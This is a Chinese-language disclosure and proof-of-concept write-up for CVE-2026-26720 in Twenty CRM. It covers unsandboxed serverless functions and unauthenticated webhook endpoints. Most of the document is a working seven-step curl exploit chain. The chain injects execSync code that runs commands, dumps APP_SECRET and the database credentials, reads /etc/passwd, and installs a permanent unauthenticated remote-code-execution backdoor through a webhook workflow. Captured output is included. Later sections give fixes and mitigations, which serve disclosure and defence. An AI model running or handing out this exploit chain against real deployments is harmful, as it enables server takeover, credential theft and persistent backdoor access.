Twenty CRM 无服务器函数引入严重 RCE 与永久性未认证后门风险(CVE-2026-26720)——PoC 与漏洞利用
对 CVE-2026-26720 的技术剖析:这是 Twenty CRM(≤ v1.15.0)中一个 CVSS 9.8 严重级别、需认证的远程代码执行漏洞。任何工作区成员都可以创建并执行无沙箱的无服务器函数,这些函数可完全访问 process.env,从而泄露 APP_SECRET、PG_DATABASE_URL 以及所有服务器端凭据。当与通过 PublicEndpointGuard 暴露的 webhook 触发型工作流相结合时,单个经过认证的攻击者即可安装一个永久性的、无需认证的 RCE 后门,可从互联网任何位置访问。
Exploit CVE-2026-26720
通过无沙箱的无服务器函数实现需认证的 RCE → 永久性未认证后门
2026 年 3 月 3 日 · CVSS 9.8 严重 · Twenty CRM ≤ v1.15.0
| CVE ID | CVSS | 受影响版本 | 修复版本 |
|---|---|---|---|
| CVE-2026-26720 | 9.8 严重 | Twenty CRM ≤ v1.15.0 | Twenty CRM v1.15.1 |
Twenty CRM 是一个开源 CRM 平台,拥有超过 28k 个 GitHub star,并提供托管云服务。它允许工作区成员创建“无服务器函数”——在服务器上运行的自定义 TypeScript 代码。问题在于:这些函数在一个裸的 child_process.spawn() 中执行,没有沙箱、没有代码限制,并且完全继承了父进程环境。接下来将剖析任何经过认证的用户——包括在云端刚刚自行注册的账户——如何实现完整的服务器端 RCE、窃取服务器上的每一个密钥,并安装一个无需任何认证即可触发的永久性后门。
CVE-2026-26720 执行摘要:无沙箱的无服务器函数执行
CVE-2026-26720 是 Twenty CRM 中三个漏洞组成的一条链,它们共同造成 CVSS 9.8 严重级别的影响:
-
无沙箱的代码执行 —— 无服务器函数通过
spawn(process.execPath, ...)并带{ ...process.env, ...env }运行,使得用户提供的代码可以完全访问child_process、fs、net以及每一个服务器环境变量(APP_SECRET、PG_DATABASE_URL、REDIS_URL)。 -
没有代码校验 ——
updateOneServerlessFunctionmutation 接受任意 TypeScript 代码,且没有任何静态分析、AST 限制或模块导入黑名单。execSync、spawn、fs.readFileSync——全部被允许。 -
未认证的 Webhook 端点 ——
POST /webhooks/workflows/:workspaceId/:workflowId端点由PublicEndpointGuard和NoPermissionGuard守护,而二者都无条件返回true。一旦攻击者将恶意的无服务器函数接入一个 webhook 触发型工作流,互联网上的任何 HTTP 客户端都可以永久地、在没有任何凭据的情况下触发它。
影响:完整的远程代码执行。任何工作区成员(包括自行注册的云端账户)都可以窃取所有服务器密钥、直接访问数据库、读写文件系统,并安装一个永久性的、无需认证的后门——全部通过产品本身设计的功能实现,且漏洞利用复杂度为零。
漏洞 #1:完全继承环境的无沙箱代码执行
汇聚点(Sink)—— local.driver.ts 第 288 行
核心漏洞位于无服务器函数的执行引擎中。当一个函数被执行时,LocalDriver 会派生出一个子 Node.js 进程:
// packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.ts
const child = spawn(process.execPath, [runnerPath], {
env: { ...process.env, ...env }, // ALL server secrets passed to child
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
process.env 被直接展开到子进程环境中。这意味着 Twenty 服务器进程可访问的每一个密钥——APP_SECRET、PG_DATABASE_URL、REDIS_URL、云服务商凭据、SMTP 密码——都可以被用户提供的代码通过 process.env 访问。
这里没有沙箱。没有 vm2、没有 isolated-vm、没有 Docker 容器、没有限制性的 seccomp 配置。子进程以与服务器相同的操作系统用户身份运行,拥有相同的文件系统访问权限、相同的网络访问权限以及相同的凭据。
没有导入限制
updateOneServerlessFunction mutation 接受任意 TypeScript 代码,并在不加任何限制的情况下进行编译:
// packages/twenty-server/src/engine/metadata-modules/serverless-function/serverless-function.resolver.ts
@Mutation(() => ServerlessFunctionDTO)
@UseGuards(SettingsPermissionGuard(PermissionFlagType.WORKFLOWS))
async updateOneServerlessFunction(
@Args('input') input: UpdateServerlessFunctionInput,
@AuthWorkspace() { id: workspaceId }: WorkspaceEntity,
) {
return await this.serverlessFunctionService.updateOneServerlessFunction(
input, // <-- attacker-controlled code, no validation
workspaceId,
);
}
该守卫是 SettingsPermissionGuard(PermissionFlagType.WORKFLOWS)——任何拥有 WORKFLOWS 权限(默认授予所有成员)的工作区成员都可以在服务器上创建并执行任意代码。这里没有 AST 分析,没有危险模块(child_process、fs、net、os)的黑名单,也没有任何内容安全限制。
环境泄露路径
Authenticated user
|
createOneServerlessFunction (GraphQL mutation)
|
updateOneServerlessFunction (inject code: execSync("id"))
|
executeOneServerlessFunction (GraphQL mutation)
|
serverlessFunctionService.execute()
|
LocalDriver.execute()
|
LocalDriver.runChildWithEnv()
|
spawn(process.execPath, [runnerPath], { env: { ...process.env } })
|
User code runs with ALL server secrets in process.env
|
RCE + full secret exfiltration
漏洞 #2:通过 Webhook 端点实现的永久性未认证后门
入口点 —— 任何层级都没有认证
webhook 触发控制器在没有任何认证的情况下,将工作流执行能力暴露给互联网:
// packages/twenty-server/src/engine/core-modules/workflow/controllers/workflow-trigger.controller.ts
@Controller('webhooks')
export class WorkflowTriggerController {
@Post('workflows/:workspaceId/:workflowId')
@UseGuards(PublicEndpointGuard, NoPermissionGuard) // NO AUTH
async runWorkflowByPostRequest(
@Param('workspaceId') workspaceId: string,
@Param('workflowId') workflowId: string,
@Req() request: Request,
) {
return await this.runWorkflow({
workflowId,
payload: request.body || {},
workspaceId,
});
}
}
两个守卫都无条件返回 true:
// packages/twenty-server/src/engine/guards/public-endpoint.guard.ts
@Injectable()
export class PublicEndpointGuard implements CanActivate {
canActivate(_context: ExecutionContext): boolean {
return true; // Always allow access
}
}
// packages/twenty-server/src/engine/guards/no-permission.guard.ts
@Injectable()
export class NoPermissionGuard implements CanActivate {
canActivate(_context: ExecutionContext): boolean {
return true; // No permission checks
}
}
没有令牌。没有签名。没有 IP 白名单。webhook 端点上也没有任何速率限制。一旦某个经过认证的用户创建了一个指向恶意无服务器函数的 webhook 触发型工作流,所产生的 URL 就是一个永久性的、未认证的 RCE 端点:
POST /webhooks/workflows/<workspaceId>/<workflowId>
另一个未认证入口:RouteTriggerController
第二个未认证的控制器暴露了相同的风险面:
// packages/twenty-server/src/engine/metadata-modules/route-trigger/route-trigger.controller.ts
@Controller('s')
@UseGuards(PublicEndpointGuard, NoPermissionGuard) // NO AUTH on entire controller
export class RouteTriggerController {
@Post('*path')
async post(@Req() request: Request) {
return await this.routeTriggerService.handle({
request, httpMethod: HTTPMethod.POST,
});
}
}
如果存在一个 isAuthRequired: false 的 RouteTrigger,那么任何发往 /s/<path> 的 HTTP 请求都会在没有任何认证的情况下直接执行其关联的无服务器函数。
CVE-2026-26720 概念验证:完整的远程代码执行
完整的攻击链——从经过认证的工作区成员,到完全攻陷服务器并植入永久性未认证后门——只需要 7 个 HTTP 请求。每一步都在一个受控的实验环境中针对 Twenty CRM v1.15.0 得到了验证。
实验环境搭建
以默认配置在本地运行的 Twenty CRM v1.15.0:
# docker-compose equivalent
services:
twenty-server:
image: twentycrm/twenty:v1.15.0
ports:
- "3000:3000" # API
- "3001:3001" # Frontend
environment:
APP_SECRET: "replace_me_with_a_random_string"
PG_DATABASE_URL: "postgres://postgres:postgres@localhost:5432/default"
REDIS_URL: "redis://localhost:6379"
前置条件
一个有效的工作区成员账户。在 Twenty Cloud 上,这是任何已注册的用户。在自托管部署中,这是任何被邀请的成员。下文使用的 JWT 令牌属于工作区 2782b9df-... 中的用户 tim@apple.dev。
第 1 步:创建无服务器函数(需认证)
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation CreateFn($input: CreateServerlessFunctionInput!) {
createOneServerlessFunction(input: $input) { id name }
}",
"variables": { "input": { "name": "pwn-rce" } }
}'
{
"data": {
"createOneServerlessFunction": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"name": "pwn-rce"
}
}
}
第 2 步:注入恶意代码(需认证)
注入的代码导入 child_process.execSync 并转储完整的服务器环境:
import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
const cmd = params?.command ?? 'id && hostname';
const out = execSync(String(cmd)).toString();
const env = JSON.stringify(process.env);
return { out, env };
};
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation UpdateFn($input: UpdateServerlessFunctionInput!) {
updateOneServerlessFunction(input: $input) { id name }
}",
"variables": {
"input": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"update": {
"name": "pwn-rce",
"code": {
"src/index.ts": "import { execSync } from '\''child_process'\'';\nexport const main = async (params: any): Promise<object> => {\n const cmd = params?.command ?? '\''id && hostname'\'';\n const out = execSync(String(cmd)).toString();\n const env = JSON.stringify(process.env);\n return { out, env };\n};"
}
}
}
}
}'
{
"data": {
"updateOneServerlessFunction": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"name": "pwn-rce"
}
}
}
没有校验。没有 AST 检查。没有被屏蔽的导入。代码被原样接受并存储。
第 3 步:执行 —— 确认需认证的 RCE
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation ExecFn($input: ExecuteServerlessFunctionInput!) {
executeOneServerlessFunction(input: $input) { data logs status error }
}",
"variables": {
"input": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"payload": { "command": "id && hostname && cat /etc/passwd | head -5" },
"version": "draft"
}
}
}'
响应 —— data.out(操作系统命令输出):
uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
响应 —— data.env(所有服务器密钥被窃取):
{
"APP_SECRET": "replace_me_with_a_random_string",
"PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
"REDIS_URL": "redis://localhost:6379"
}
需认证的 RCE 已确认 —— 实现了完整的命令执行和完整的服务器环境窃取。任何拥有 WORKFLOWS 权限(所有成员默认拥有)的工作区成员都可以执行此操作。
第 4-6 步:安装永久性未认证后门
在拥有已认证访问权限后,攻击者现在创建一个接入恶意无服务器函数的 webhook 触发型工作流:
第 4 步 —— 创建工作流 + 设置 WEBHOOK 触发器:
# Create workflow
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { createWorkflow(data: { name: \"pwn-webhook\" }) { id name } }"}'
{"data":{"createWorkflow":{"id":"52ecef24-026d-48b0-a64b-8276570e25dd","name":"pwn-webhook"}}}
第 5 步 —— 添加指向恶意函数的 CODE 步骤、接入触发器、发布函数:
# Publish serverless function
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { publishServerlessFunction(input: { id: \"679110bc-1536-4349-82c7-2a5706cc6a49\" }) { id publishedVersions } }"}'
{"data":{"publishServerlessFunction":{"id":"679110bc-1536-4349-82c7-2a5706cc6a49","publishedVersions":["1"]}}}
该工作流版本被配置为使用 WEBHOOK 触发器类型、一个引用恶意函数的 CODE 步骤,以及一条将触发器 → 步骤连接起来的边。
第 6 步 —— 激活工作流:
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { activateWorkflowVersion(workflowVersionId: \"b4c8976f-dcb8-47ab-af50-2d20414577e6\") }"}'
{"data":{"activateWorkflowVersion":true}}
第 7 步:未认证的 RCE —— 无需任何凭据
后门现在已永久生效。互联网上的任何 HTTP 客户端都可以触发它:
# NO Authorization header — completely unauthenticated
curl -s -X POST \
"http://localhost:3000/webhooks/workflows/2782b9df-4dd8-4deb-9f81-e60020b6d78f/52ecef24-026d-48b0-a64b-8276570e25dd" \
-H "Content-Type: application/json" \
-d '{"command": "id && whoami && cat /etc/passwd | head -5"}'
即时响应(没有认证检查):
{
"workflowName": "pwn-webhook",
"success": true,
"workflowRunId": "ccdfb94d-1566-44f2-a5ce-ab0222fffab3"
}
工作流运行结果(来自服务器日志 / 数据库):
uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
服务器密钥(同样的完整转储 —— 全部通过未认证请求被窃取):
{
"APP_SECRET": "replace_me_with_a_random_string",
"PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
"REDIS_URL": "redis://localhost:6379"
}
已实现完整的命令执行 —— 无需任何认证。该 webhook URL 是一个永久性后门:没有令牌、没有签名、没有过期时间。一旦创建,它便一直存在,直到该工作流被手动删除。
攻击面分析
谁能利用此漏洞?
| 部署方式 | 初始访问 | 可利用? |
|---|---|---|
| 自托管(多工作区) | 任何已注册用户 | 可以 —— 完全攻陷服务器 |
| 自托管(单工作区) | 任何被邀请的工作区成员 | 可以 —— 从成员提升到完全控制服务器的权限提升 |
影响链
Workspace member (low privilege)
↓
Create serverless function ← intended feature, no exploit needed
↓
Inject execSync / spawn code ← no validation, no sandbox
↓
Execute function ← runs as server user, inherits process.env
↓
Exfiltrate APP_SECRET, ← full secret dump
PG_DATABASE_URL, REDIS_URL
↓
Direct database access ← read/modify all workspaces, all tenants
↓
Create webhook workflow ← permanent unauthenticated backdoor
↓
Any internet client fires webhook ← zero auth, zero credentials, forever
如何修复 CVE-2026-26720
要完全修复这条漏洞链,需要三个相互独立的修复:
修复 1:对无服务器函数执行进行沙箱隔离
无服务器函数运行时必须与宿主进程隔离。子进程绝不应继承父进程的环境变量。
// BEFORE (vulnerable): full environment inheritance
const child = spawn(process.execPath, [runnerPath], {
env: { ...process.env, ...env }, // ALL server secrets leaked
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
// AFTER (fixed): isolated environment — only explicit variables
const child = spawn(process.execPath, [runnerPath], {
env: {
NODE_PATH: process.env.NODE_PATH,
PATH: process.env.PATH,
...env, // only workspace-specific vars
},
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
为实现纵深防御,应在一个隔离容器(Docker/gVisor/Firecracker)中执行函数,并配备:
- 只读文件系统(
/tmp除外) - 无法访问内部服务的网络
- CPU/内存限制
- 独立的非特权用户
修复 2:校验无服务器函数代码
在编译之前,为 Node.js 模块导入实现黑名单或白名单:
const BLOCKED_MODULES = [
'child_process', 'cluster', 'dgram', 'dns', 'net',
'tls', 'vm', 'worker_threads', 'fs', 'os',
];
// Parse AST and reject any import/require of blocked modules
修复 3:对 Webhook 端点进行认证
webhook 触发端点必须要求认证——至少要有一个针对每个工作流的 HMAC 签名:
// BEFORE (vulnerable): no authentication
@UseGuards(PublicEndpointGuard, NoPermissionGuard)
// AFTER (fixed): require webhook signature
@UseGuards(WebhookSignatureGuard)
async runWorkflowByPostRequest(...)
每个 webhook 触发型工作流都应拥有一个唯一的密钥,且传入的请求必须包含一个有效的 X-Webhook-Signature 头。没有有效签名的请求必须以 401\ 被拒绝。
CVE-2026-26720 缓解措施与最佳实践
- 立即更新 —— 当补丁版本发布时立即更新。密切关注 Twenty CRM 的 GitHub 仓库和更新日志。
- 限制无服务器函数 —— 如果您的部署不需要自定义无服务器函数,请完全禁用该功能,或将 WORKFLOWS 权限限制为仅限管理员。
- 审计现有函数 —— 审查工作区中所有无服务器函数是否存在可疑的导入(
child_process、fs、net)。检查工作区 schema 中的_metadata.serverlessFunction表。 - 对 Webhook 端点设置防火墙 —— 在修复可用之前,于反向代理层面阻止对
/webhooks/workflows/*和/s/*的外部访问。 - 轮换密钥 —— 如果您的实例在启用无服务器函数的情况下曾公开可访问,请假定所有环境变量均已泄露。轮换
APP_SECRET、数据库凭据、Redis 凭据、SMTP 密码以及任何 API 密钥。 - 监控工作流活动 —— 审计
workflowRun表中是否存在意外的执行,尤其是那些source: WEBHOOK且没有对应合法集成的执行。
参考资料
| 资源 | 链接 |
|---|---|
| Twenty CRM GitHub | https://github.com/twentyhq/twenty |
| Twenty CRM v1.15.0 发布页 | https://github.com/twentyhq/twenty/releases/tag/v1.15.0 |
| NestJS Guards 文档 | https://docs.nestjs.com/guards |
| OWASP —— Injection | https://owasp.org/Top10/A03_2021-Injection/ |
| CWE-94: Code Injection | https://cwe.mitre.org/data/definitions/94.html |
| CWE-250: Execution with Unnecessary Privileges | https://cwe.mitre.org/data/definitions/250.html |